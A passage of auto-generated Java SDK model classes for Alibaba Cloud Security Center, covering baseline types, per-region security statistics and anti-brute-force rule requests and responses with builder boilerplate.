@com.aliyun.core.annotation.NameInMap("ClassKey")
private String classKey;
private BaselineClassList(Builder builder) {
this.alias = builder.alias;
this.baselineNameList = builder.baselineNameList;
this.classKey = builder.classKey;
}
public static Builder builder() {
return new Builder();
}
public static BaselineClassList create() {
return builder().build();
}
/**
* @return alias
*/
public String getAlias() {
return this.alias;
}
/**
* @return baselineNameList
*/
public java.util.List<BaselineNameList> getBaselineNameList() {
return this.baselineNameList;
}
/**
* @return classKey
*/
public String getClassKey() {
return this.classKey;
}
public static final class Builder {
private String alias;
private java.util.List<BaselineNameList> baselineNameList;
private String classKey;
private Builder() {
}
private Builder(BaselineClassList model) {
this.alias = model.alias;
this.baselineNameList = model.baselineNameList;
this.classKey = model.classKey;
}
/**
* <p>The alias of the baseline type.</p>
*
* <strong>example:</strong>
* <p>Identity authentication</p>
*/
public Builder alias(String alias) {
this.alias = alias;
return this;
}
/**
* <p>The information about the baseline.</p>
*/
public Builder baselineNameList(java.util.List<BaselineNameList> baselineNameList) {
this.baselineNameList = baselineNameList;
return this;
}
/**
* <p>The key of the baseline type.</p>
*
* <strong>example:</strong>
* <p>identification</p>
*/
public Builder classKey(String classKey) {
this.classKey = classKey;
return this;
}
public BaselineClassList build() {
return new BaselineClassList(this);
}
}
}
/**
*
* {@link DescribeAllImageBaselineResponseBody} extends {@link TeaModel}
*
* <p>DescribeAllImageBaselineResponseBody</p>
*/
public static class ImageBaselines extends TeaModel {
@com.aliyun.core.annotation.NameInMap("BaselineClassList")
private java.util.List<BaselineClassList> baselineClassList;
private ImageBaselines(Builder builder) {
this.baselineClassList = builder.baselineClassList;
}
public static Builder builder() {
return new Builder();
}
public static ImageBaselines create() {
return builder().build();
}
/**
* @return baselineClassList
*/
public java.util.List<BaselineClassList> getBaselineClassList() {
return this.baselineClassList;
}
public static final class Builder {
private java.util.List<BaselineClassList> baselineClassList;
private Builder() {
}
private Builder(ImageBaselines model) {
this.baselineClassList = model.baselineClassList;
}
/**
* <p>An array that consists of baseline types.</p>
*/
public Builder baselineClassList(java.util.List<BaselineClassList> baselineClassList) {
this.baselineClassList = baselineClassList;
return this;
}
public ImageBaselines build() {
return new ImageBaselines(this);
}
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeAllRegionsStatisticsRequest.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeAllRegionsStatisticsRequest} extends {@link RequestModel}
*
* <p>DescribeAllRegionsStatisticsRequest</p>
*/
public class DescribeAllRegionsStatisticsRequest extends Request {
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("From")
private String from;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("GroupId")
private Long groupId;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("Remark")
private String remark;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("SourceIp")
private String sourceIp;
private DescribeAllRegionsStatisticsRequest(Builder builder) {
super(builder);
this.from = builder.from;
this.groupId = builder.groupId;
this.remark = builder.remark;
this.sourceIp = builder.sourceIp;
}
public static Builder builder() {
return new Builder();
}
public static DescribeAllRegionsStatisticsRequest create() {
return builder().build();
}
@Override
public Builder toBuilder() {
return new Builder(this);
}
/**
* @return from
*/
public String getFrom() {
return this.from;
}
/**
* @return groupId
*/
public Long getGroupId() {
return this.groupId;
}
/**
* @return remark
*/
public String getRemark() {
return this.remark;
}
/**
* @return sourceIp
*/
public String getSourceIp() {
return this.sourceIp;
}
public static final class Builder extends Request.Builder<DescribeAllRegionsStatisticsRequest, Builder> {
private String from;
private Long groupId;
private String remark;
private String sourceIp;
private Builder() {
super();
}
private Builder(DescribeAllRegionsStatisticsRequest request) {
super(request);
this.from = request.from;
this.groupId = request.groupId;
this.remark = request.remark;
this.sourceIp = request.sourceIp;
}
/**
* <p>The source of the request. Default value: <strong>aqs</strong>. Valid values:</p>
* <ul>
* <li><strong>sas</strong>: Security Center.</li>
* <li><strong>aqs</strong>: Server Guard.</li>
* </ul>
*
* <strong>example:</strong>
* <p>sas</p>
*/
public Builder from(String from) {
this.putQueryParameter("From", from);
this.from = from;
return this;
}
/**
* <p>The ID of the asset group that you want to query.</p>
* <blockquote>
* <p> You can call the <a href="https://help.aliyun.com/document_detail/130972.html">DescribeAllGroups</a> operation to query the ID.</p>
* </blockquote>
*
* <strong>example:</strong>
* <p>1161****</p>
*/
public Builder groupId(Long groupId) {
this.putQueryParameter("GroupId", groupId);
this.groupId = groupId;
return this;
}
/**
* <p>The name or public IP address of the asset.</p>
*
* <strong>example:</strong>
* <p>192.168.XX.XX</p>
*/
public Builder remark(String remark) {
this.putQueryParameter("Remark", remark);
this.remark = remark;
return this;
}
/**
* <p>The source IP address of the request.</p>
*
* <strong>example:</strong>
* <p>33.80.XXX.XXX</p>
*/
public Builder sourceIp(String sourceIp) {
this.putQueryParameter("SourceIp", sourceIp);
this.sourceIp = sourceIp;
return this;
}
@Override
public DescribeAllRegionsStatisticsRequest build() {
return new DescribeAllRegionsStatisticsRequest(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeAllRegionsStatisticsResponse.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeAllRegionsStatisticsResponse} extends {@link TeaModel}
*
* <p>DescribeAllRegionsStatisticsResponse</p>
*/
public class DescribeAllRegionsStatisticsResponse extends Response {
@com.aliyun.core.annotation.NameInMap("headers")
private java.util.Map<String, String> headers;
@com.aliyun.core.annotation.NameInMap("statusCode")
private Integer statusCode;
@com.aliyun.core.annotation.NameInMap("body")
private DescribeAllRegionsStatisticsResponseBody body;
private DescribeAllRegionsStatisticsResponse(BuilderImpl builder) {
super(builder);
this.headers = builder.headers;
this.statusCode = builder.statusCode;
this.body = builder.body;
}
public static DescribeAllRegionsStatisticsResponse create() {
return new BuilderImpl().build();
}
@Override
public Builder toBuilder() {
return new BuilderImpl(this);
}
/**
* @return headers
*/
public java.util.Map<String, String> getHeaders() {
return this.headers;
}
/**
* @return statusCode
*/
public Integer getStatusCode() {
return this.statusCode;
}
/**
* @return body
*/
public DescribeAllRegionsStatisticsResponseBody getBody() {
return this.body;
}
public interface Builder extends Response.Builder<DescribeAllRegionsStatisticsResponse, Builder> {
Builder headers(java.util.Map<String, String> headers);
Builder statusCode(Integer statusCode);
Builder body(DescribeAllRegionsStatisticsResponseBody body);
@Override
DescribeAllRegionsStatisticsResponse build();
}
private static final class BuilderImpl
extends Response.BuilderImpl<DescribeAllRegionsStatisticsResponse, Builder>
implements Builder {
private java.util.Map<String, String> headers;
private Integer statusCode;
private DescribeAllRegionsStatisticsResponseBody body;
private BuilderImpl() {
super();
}
private BuilderImpl(DescribeAllRegionsStatisticsResponse response) {
super(response);
this.headers = response.headers;
this.statusCode = response.statusCode;
this.body = response.body;
}
/**
* headers.
*/
@Override
public Builder headers(java.util.Map<String, String> headers) {
this.headers = headers;
return this;
}
/**
* statusCode.
*/
@Override
public Builder statusCode(Integer statusCode) {
this.statusCode = statusCode;
return this;
}
/**
* body.
*/
@Override
public Builder body(DescribeAllRegionsStatisticsResponseBody body) {
this.body = body;
return this;
}
@Override
public DescribeAllRegionsStatisticsResponse build() {
return new DescribeAllRegionsStatisticsResponse(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeAllRegionsStatisticsResponseBody.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeAllRegionsStatisticsResponseBody} extends {@link TeaModel}
*
* <p>DescribeAllRegionsStatisticsResponseBody</p>
*/
public class DescribeAllRegionsStatisticsResponseBody extends TeaModel {
@com.aliyun.core.annotation.NameInMap("Data")
private Data data;
@com.aliyun.core.annotation.NameInMap("RequestId")
private String requestId;
private DescribeAllRegionsStatisticsResponseBody(Builder builder) {
this.data = builder.data;
this.requestId = builder.requestId;
}
public static Builder builder() {
return new Builder();
}
public static DescribeAllRegionsStatisticsResponseBody create() {
return builder().build();
}
public Builder toBuilder() {
return new Builder(this);
}
/**
* @return data
*/
public Data getData() {
return this.data;
}
/**
* @return requestId
*/
public String getRequestId() {
return this.requestId;
}
public static final class Builder {
private Data data;
private String requestId;
private Builder() {
}
private Builder(DescribeAllRegionsStatisticsResponseBody model) {
this.data = model.data;
this.requestId = model.requestId;
}
/**
* <p>The data returned.</p>
*/
public Builder data(Data data) {
this.data = data;
return this;
}
/**
* <p>The request ID.</p>
*
* <strong>example:</strong>
* <p>B9A68671-BD84-55CD-807A-BA3A5490FCB4</p>
*/
public Builder requestId(String requestId) {
this.requestId = requestId;
return this;
}
public DescribeAllRegionsStatisticsResponseBody build() {
return new DescribeAllRegionsStatisticsResponseBody(this);
}
}
/**
*
* {@link DescribeAllRegionsStatisticsResponseBody} extends {@link TeaModel}
*
* <p>DescribeAllRegionsStatisticsResponseBody</p>
*/
public static class Data extends TeaModel {
@com.aliyun.core.annotation.NameInMap("Account")
private Integer account;
@com.aliyun.core.annotation.NameInMap("Health")
private Integer health;
@com.aliyun.core.annotation.NameInMap("NewSuspicious")
private Integer newSuspicious;
@com.aliyun.core.annotation.NameInMap("Suspicious")
private Integer suspicious;
@com.aliyun.core.annotation.NameInMap("Trojan")
private Integer trojan;
@com.aliyun.core.annotation.NameInMap("Vul")
private Integer vul;
private Data(Builder builder) {
this.account = builder.account;
this.health = builder.health;
this.newSuspicious = builder.newSuspicious;
this.suspicious = builder.suspicious;
this.trojan = builder.trojan;
this.vul = builder.vul;
}
public static Builder builder() {
return new Builder();
}
public static Data create() {
return builder().build();
}
/**
* @return account
*/
public Integer getAccount() {
return this.account;
}
/**
* @return health
*/
public Integer getHealth() {
return this.health;
}
/**
* @return newSuspicious
*/
public Integer getNewSuspicious() {
return this.newSuspicious;
}
/**
* @return suspicious
*/
public Integer getSuspicious() {
return this.suspicious;
}
/**
* @return trojan
*/
public Integer getTrojan() {
return this.trojan;
}
/**
* @return vul
*/
public Integer getVul() {
return this.vul;
}
public static final class Builder {
private Integer account;
private Integer health;
private Integer newSuspicious;
private Integer suspicious;
private Integer trojan;
private Integer vul;
private Builder() {
}
private Builder(Data model) {
this.account = model.account;
this.health = model.health;
this.newSuspicious = model.newSuspicious;
this.suspicious = model.suspicious;
this.trojan = model.trojan;
this.vul = model.vul;
}
/**
* <p>The number of logons to the asset.</p>
*
* <strong>example:</strong>
* <p>0</p>
*/
public Builder account(Integer account) {
this.account = account;
return this;
}
/**
* <p>The total number of unfixed baseline risks.</p>
*
* <strong>example:</strong>
* <p>2</p>
*/
public Builder health(Integer health) {
this.health = health;
return this;
}
/**
* <p>The number of alerts that are generated by Server Guard or Security Center.</p>
* <blockquote>
* </blockquote>
* <ul>
* <li><p>If <strong>From</strong> is set to <strong>sas</strong>, this parameter indicates the number of alerts that are generated by Security Center.</p>
* </li>
* <li><p>If <strong>From</strong> is set to <strong>aqs</strong>, this parameter indicates the number of alerts that are generated by Server Guard.</p>
* </li>
* </ul>
*
* <strong>example:</strong>
* <p>0</p>
*/
public Builder newSuspicious(Integer newSuspicious) {
this.newSuspicious = newSuspicious;
return this;
}
/**
* <p>The number of alerts that are generated by Server Guard.</p>
*
* <strong>example:</strong>
* <p>2</p>
*/
public Builder suspicious(Integer suspicious) {
this.suspicious = suspicious;
return this;
}
/**
* <p>The number of webshell alerts.</p>
*
* <strong>example:</strong>
* <p>1</p>
*/
public Builder trojan(Integer trojan) {
this.trojan = trojan;
return this;
}
/**
* <p>The number of unfixed vulnerabilities.</p>
*
* <strong>example:</strong>
* <p>17</p>
*/
public Builder vul(Integer vul) {
this.vul = vul;
return this;
}
public Data build() {
return new Data(this);
}
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeAntiBruteForceRulesRequest.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeAntiBruteForceRulesRequest} extends {@link RequestModel}
*
* <p>DescribeAntiBruteForceRulesRequest</p>
*/
public class DescribeAntiBruteForceRulesRequest extends Request {
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("CurrentPage")
private Integer currentPage;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("Id")
private Long id;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("Name")
private String name;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("PageSize")
private String pageSize;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("ResourceOwnerId")
private Long resourceOwnerId;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("SourceIp")
private String sourceIp;
private DescribeAntiBruteForceRulesRequest(Builder builder) {
super(builder);
this.currentPage = builder.currentPage;
this.id = builder.id;
this.name = builder.name;
this.pageSize = builder.pageSize;
this.resourceOwnerId = builder.resourceOwnerId;
this.sourceIp = builder.sourceIp;
}
public static Builder builder() {
return new Builder();
}
public static DescribeAntiBruteForceRulesRequest create() {
return builder().build();
}
@Override
public Builder toBuilder() {
return new Builder(this);
}
/**
* @return currentPage
*/
public Integer getCurrentPage() {
return this.currentPage;
}
/**
* @return id
*/
public Long getId() {
return this.id;
}
/**
* @return name
*/
public String getName() {
return this.name;
}
/**
* @return pageSize
*/
public String getPageSize() {
return this.pageSize;
}
/**
* @return resourceOwnerId
*/
public Long getResourceOwnerId() {
return this.resourceOwnerId;
}
/**
* @return sourceIp
*/
public String getSourceIp() {
return this.sourceIp;
}
public static final class Builder extends Request.Builder<DescribeAntiBruteForceRulesRequest, Builder> {
private Integer currentPage;
private Long id;
private String name;
private String pageSize;
private Long resourceOwnerId;
private String sourceIp;
private Builder() {
super();
}
private Builder(DescribeAntiBruteForceRulesRequest request) {
super(request);
this.currentPage = request.currentPage;
this.id = request.id;
this.name = request.name;
this.pageSize = request.pageSize;
this.resourceOwnerId = request.resourceOwnerId;
this.sourceIp = request.sourceIp;
}
/**
* <p>The number of the page to return. Default value: <strong>1</strong>.</p>
*
* <strong>example:</strong>
* <p>1</p>
*/
public Builder currentPage(Integer currentPage) {
this.putQueryParameter("CurrentPage", currentPage);
this.currentPage = currentPage;
return this;
}
/**
* <p>The ID of the defense rule.</p>
* <blockquote>
* <p>You can call the <a href="~~DescribeAntiBruteForceRules~~">DescribeAntiBruteForceRules</a> operation to query the IDs of defense rules.</p>
* </blockquote>
*
* <strong>example:</strong>
* <p>1141****</p>
*/
public Builder id(Long id) {
this.putQueryParameter("Id", id);
this.id = id;
return this;
}
/**
* <p>The name of the rule.</p>
*
* <strong>example:</strong>
* <p>testName</p>
*/
public Builder name(String name) {
this.putQueryParameter("Name", name);
this.name = name;
return this;
}
/**
* <p>The number of entries to return on each page.</p>
*
* <strong>example:</strong>
* <p>10</p>
*/
public Builder pageSize(String pageSize) {
this.putQueryParameter("PageSize", pageSize);
this.pageSize = pageSize;
return this;
}
/**
* ResourceOwnerId.
*/
public Builder resourceOwnerId(Long resourceOwnerId) {
this.putQueryParameter("ResourceOwnerId", resourceOwnerId);
this.resourceOwnerId = resourceOwnerId;
return this;
}
/**
* <p>The source IP address of the request.</p>
*
* <strong>example:</strong>
* <p>121.69.XX.XX</p>
*/
public Builder sourceIp(String sourceIp) {
this.putQueryParameter("SourceIp", sourceIp);
this.sourceIp = sourceIp;
return this;
}
@Override
public DescribeAntiBruteForceRulesRequest build() {
return new DescribeAntiBruteForceRulesRequest(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeAntiBruteForceRulesResponse.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeAntiBruteForceRulesResponse} extends {@link TeaModel}
*
* <p>DescribeAntiBruteForceRulesResponse</p>
*/
public class DescribeAntiBruteForceRulesResponse extends Response {
@com.aliyun.core.annotation.NameInMap("headers")
private java.util.Map<String, String> headers;
@com.aliyun.core.annotation.NameInMap("statusCode")
private Integer statusCode;
@com.aliyun.core.annotation.NameInMap("body")
private DescribeAntiBruteForceRulesResponseBody body;
private DescribeAntiBruteForceRulesResponse(BuilderImpl builder) {
super(builder);
this.headers = builder.headers;
this.statusCode = builder.statusCode;
this.body = builder.body;
}
public static DescribeAntiBruteForceRulesResponse create() {
return new BuilderImpl().build();
}
@Override
public Builder toBuilder() {
return new BuilderImpl(this);
}
/**
* @return headers
*/
public java.util.Map<String, String> getHeaders() {
return this.headers;
}
/**
* @return statusCode
*/
public Integer getStatusCode() {
return this.statusCode;
}
/**
* @return body
*/
public DescribeAntiBruteForceRulesResponseBody getBody() {
return this.body;
}
public interface Builder extends Response.Builder<DescribeAntiBruteForceRulesResponse, Builder> {
Builder headers(java.util.Map<String, String> headers);
Builder statusCode(Integer statusCode);
Builder body(DescribeAntiBruteForceRulesResponseBody body);
@Override
DescribeAntiBruteForceRulesResponse build();
}
private static final class BuilderImpl
extends Response.BuilderImpl<DescribeAntiBruteForceRulesResponse, Builder>
implements Builder {
private java.util.Map<String, String> headers;
private Integer statusCode;
private DescribeAntiBruteForceRulesResponseBody body;
private BuilderImpl() {
super();
}
private BuilderImpl(DescribeAntiBruteForceRulesResponse response) {
super(response);
this.headers = response.headers;
this.statusCode = response.statusCode;
this.body = response.body;
}
/**
* headers.
*/
@Override
public Builder headers(java.util.Map<String, String> headers) {
this.headers = headers;
return this;
}
/**
* statusCode.
*/
@Override
public Builder statusCode(Integer statusCode) {
this.statusCode = statusCode;
return this;
}
/**
* body.
*/
@Override
public Builder body(DescribeAntiBruteForceRulesResponseBody body) {
this.body = body;
return this;
}
@Override
public DescribeAntiBruteForceRulesResponse build() {
return new DescribeAntiBruteForceRulesResponse(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeAntiBruteForceRulesResponseBody.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeAntiBruteForceRulesResponseBody} extends {@link TeaModel}
*
* <p>DescribeAntiBruteForceRulesResponseBody</p>
*/
public class DescribeAntiBruteForceRulesResponseBody extends TeaModel {
@com.aliyun.core.annotation.NameInMap("PageInfo")
private PageInfo pageInfo;
@com.aliyun.core.annotation.NameInMap("RequestId")
private String requestId;
@com.aliyun.core.annotation.NameInMap("Rules")
private java.util.List<Rules> rules;
private DescribeAntiBruteForceRulesResponseBody(Builder builder) {
this.pageInfo = builder.pageInfo;
this.requestId = builder.requestId;
this.rules = builder.rules;
}
public static Builder builder() {
return new Builder();
}
public static DescribeAntiBruteForceRulesResponseBody create() {
return builder().build();
}
public Builder toBuilder() {
return new Builder(this);
}
/**
* @return pageInfo
*/
public PageInfo getPageInfo() {
return this.pageInfo;
}
/**
* @return requestId
*/
public String getRequestId() {
return this.requestId;
}
/**
* @return rules
*/
public java.util.List<Rules> getRules() {
return this.rules;
}
public static final class Builder {
private PageInfo pageInfo;
private String requestId;
private java.util.List<Rules> rules;
private Builder() {
}
private Builder(DescribeAntiBruteForceRulesResponseBody model) {
this.pageInfo = model.pageInfo;
this.requestId = model.requestId;
this.rules = model.rules;
}
/**
* <p>The pagination information.</p>
*/
public Builder pageInfo(PageInfo pageInfo) {
this.pageInfo = pageInfo;
return this;
}
/**
* <p>The ID of the request, which is used to locate and troubleshoot issues.</p>
*
* <strong>example:</strong>
* <p>4E5BFDCF-B9DD-430D-9DA4-151BCB581C9D</p>
*/
public Builder requestId(String requestId) {
this.requestId = requestId;
return this;
}
/**
* <p>An array that consists of the defense rules returned.</p>
*/
public Builder rules(java.util.List<Rules> rules) {
this.rules = rules;
return this;
}
public DescribeAntiBruteForceRulesResponseBody build() {
return new DescribeAntiBruteForceRulesResponseBody(this);
}
}
/**
*
* {@link DescribeAntiBruteForceRulesResponseBody} extends {@link TeaModel}
*
* <p>DescribeAntiBruteForceRulesResponseBody</p>
*/
public static class PageInfo extends TeaModel {
@com.aliyun.core.annotation.NameInMap("Count")
private Integer count;
@com.aliyun.core.annotation.NameInMap("CurrentPage")
private Integer currentPage;
@com.aliyun.core.annotation.NameInMap("PageSize")
private Integer pageSize;
@com.aliyun.core.annotation.NameInMap("TotalCount")
private Integer totalCount;
private PageInfo(Builder builder) {
this.count = builder.count;
this.currentPage = builder.currentPage;
this.pageSize = builder.pageSize;
this.totalCount = builder.totalCount;
}
public static Builder builder() {
return new Builder();
}
public static PageInfo create() {
return builder().build();
}
/**
* @return count
*/
public Integer getCount() {
return this.count;
}
/**
* @return currentPage
*/
public Integer getCurrentPage() {
return this.currentPage;
}
/**
* @return pageSize
*/
public Integer getPageSize() {
return this.pageSize;
}
/**
* @return totalCount
*/
public Integer getTotalCount() {
return this.totalCount;
}
public static final class Builder {
private Integer count;
private Integer currentPage;
private Integer pageSize;
private Integer totalCount;
private Builder() {
}
private Builder(PageInfo model) {
this.count = model.count;
this.currentPage = model.currentPage;
this.pageSize = model.pageSize;
this.totalCount = model.totalCount;
}
/**
* <p>The number of entries returned on the current page.</p>
*
* <strong>example:</strong>
* <p>2</p>
*/
public Builder count(Integer count) {
this.count = count;
return this;
}
/**
* <p>The page number of the returned page.</p>
*
* <strong>example:</strong>
* <p>1</p>
*/
public Builder currentPage(Integer currentPage) {
this.currentPage = currentPage;
return this;
}
/**
* <p>The number of entries returned per page.</p>
*
* <strong>example:</strong>
* <p>20</p>
*/
public Builder pageSize(Integer pageSize) {
this.pageSize = pageSize;
return this;
}
/**
* <p>The total number of entries returned.</p>
*
* <strong>example:</strong>
* <p>2</p>
*/
public Builder totalCount(Integer totalCount) {
this.totalCount = totalCount;
return this;
}
public PageInfo build() {
return new PageInfo(this);
}
}
}
/**
*
* {@link DescribeAntiBruteForceRulesResponseBody} extends {@link TeaModel}
*
* <p>DescribeAntiBruteForceRulesResponseBody</p>
*/
public static class ProtocolType extends TeaModel {
@com.aliyun.core.annotation.NameInMap("Rdp")
private String rdp;
@com.aliyun.core.annotation.NameInMap("SqlServer")
private String sqlServer;
@com.aliyun.core.annotation.NameInMap("Ssh")
private String ssh;
private ProtocolType(Builder builder) {
this.rdp = builder.rdp;
this.sqlServer = builder.sqlServer;
this.ssh = builder.ssh;
}
public static Builder builder() {
return new Builder();
}
public static ProtocolType create() {
return builder().build();
}
/**
* @return rdp
*/
public String getRdp() {
return this.rdp;
}
/**
* @return sqlServer
*/
public String getSqlServer() {
return this.sqlServer;
}
/**
* @return ssh
*/
public String getSsh() {
return this.ssh;
}
public static final class Builder {
private String rdp;
private String sqlServer;
private String ssh;
private Builder() {
}
private Builder(ProtocolType model) {
this.rdp = model.rdp;
this.sqlServer = model.sqlServer;
this.ssh = model.ssh;
}
/**
* <p>RDP interception method, values: </p>
* <ul>
* <li><strong>on</strong>: enable </li>
* <li><strong>off</strong>: disable</li>
* </ul>
*
* <strong>example:</strong>
* <p>on</p>
*/
public Builder rdp(String rdp) {
this.rdp = rdp;
return this;
}
/**
* <p>SqlServer interception mode, with values: </p>
* <ul>
* <li><strong>on</strong>: enable </li>
* <li><strong>off</strong>: disable</li>
* </ul>
*
* <strong>example:</strong>
* <p>off</p>
*/
public Builder sqlServer(String sqlServer) {
this.sqlServer = sqlServer;
return this;
}
/**
* <p>SSH interception method, with values: </p>
* <ul>
* <li><strong>on</strong>: enabled </li>
* <li><strong>off</strong>: disabled</li>
* </ul>
*
* <strong>example:</strong>
* <p>on</p>
*/
public Builder ssh(String ssh) {
this.ssh = ssh;
return this;
}
public ProtocolType build() {
return new ProtocolType(this);
}
}
}
/**
*
* {@link DescribeAntiBruteForceRulesResponseBody} extends {@link TeaModel}
*
* <p>DescribeAntiBruteForceRulesResponseBody</p>
*/
public static class Rules extends TeaModel {
@com.aliyun.core.annotation.NameInMap("CreateTimestamp")
private Long createTimestamp;
@com.aliyun.core.annotation.NameInMap("DefaultRule")
private Boolean defaultRule;
@com.aliyun.core.annotation.NameInMap("EnableSmartRule")
private Boolean enableSmartRule;
@com.aliyun.core.annotation.NameInMap("FailCount")
private Integer failCount;
@com.aliyun.core.annotation.NameInMap("ForbiddenTime")
private Integer forbiddenTime;
@com.aliyun.core.annotation.NameInMap("Id")
private Long id;
@com.aliyun.core.annotation.NameInMap("MachineCount")
private Integer machineCount;
@com.aliyun.core.annotation.NameInMap("Name")
private String name;
@com.aliyun.core.annotation.NameInMap("ProtocolType")
private ProtocolType protocolType;
@com.aliyun.core.annotation.NameInMap("Span")
private Integer span;
@com.aliyun.core.annotation.NameInMap("UuidList")
private java.util.List<String> uuidList;
private Rules(Builder builder) {
this.createTimestamp = builder.createTimestamp;
this.defaultRule = builder.defaultRule;
this.enableSmartRule = builder.enableSmartRule;
this.failCount = builder.failCount;
this.forbiddenTime = builder.forbiddenTime;
this.id = builder.id;
this.machineCount = builder.machineCount;
this.name = builder.name;
this.protocolType = builder.protocolType;
this.span = builder.span;
this.uuidList = builder.uuidList;
}
public static Builder builder() {
return new Builder();
}
public static Rules create() {
return builder().build();
}
/**
* @return createTimestamp
*/
public Long getCreateTimestamp() {
return this.createTimestamp;
}
/**
* @return defaultRule
*/
public Boolean getDefaultRule() {
return this.defaultRule;
}
/**
* @return enableSmartRule
*/
public Boolean getEnableSmartRule() {
return this.enableSmartRule;
}
/**
* @return failCount
*/
public Integer getFailCount() {
return this.failCount;
}
/**
* @return forbiddenTime
*/
public Integer getForbiddenTime() {
return this.forbiddenTime;
}
/**
* @return id
*/
public Long getId() {
return this.id;
}
/**
* @return machineCount
*/
public Integer getMachineCount() {
return this.machineCount;
}
/**
* @return name
*/
public String getName() {
return this.name;
}
/**
* @return protocolType
*/
public ProtocolType getProtocolType() {
return this.protocolType;
}
/**
* @return span
*/
public Integer getSpan() {
return this.span;
}
/**
* @return uuidList
*/
public java.util.List<String> getUuidList() {
return this.uuidList;
}
public static final class Builder {
private Long createTimestamp;
private Boolean defaultRule;
private Boolean enableSmartRule;
private Integer failCount;
private Integer forbiddenTime;
private Long id;
private Integer machineCount;
private String name;
private ProtocolType protocolType;
private Integer span;
private java.util.List<String> uuidList;
private Builder() {
}
private Builder(Rules model) {
this.createTimestamp = model.createTimestamp;
this.defaultRule = model.defaultRule;
this.enableSmartRule = model.enableSmartRule;
this.failCount = model.failCount;
this.forbiddenTime = model.forbiddenTime;
this.id = model.id;
this.machineCount = model.machineCount;
this.name = model.name;
this.protocolType = model.protocolType;
this.span = model.span;
this.uuidList = model.uuidList;
}
/**
* <p>防暴力破解规则创建时间戳。单位:毫秒。</p>
*
* <strong>example:</strong>
* <p>1669800181000</p>
*/
public Builder createTimestamp(Long createTimestamp) {
this.createTimestamp = createTimestamp;
return this;
}
/**
* <p>Indicates whether the defense rule is the default rule. Valid values:</p>
* <ul>
* <li><strong>true</strong>: yes</li>
* <li><strong>false</strong>: no</li>
* </ul>
* <blockquote>
* <p> The default rule takes effect on all servers that are not protected by defense rules against brute-force attacks.</p>
* </blockquote>
*
* <strong>example:</strong>
* <p>true</p>
*/
public Builder defaultRule(Boolean defaultRule) {
this.defaultRule = defaultRule;
return this;
}
/**
* <p>This parameter is deprecated.</p>
*
* <strong>example:</strong>
* <p>false</p>
*/
public Builder enableSmartRule(Boolean enableSmartRule) {
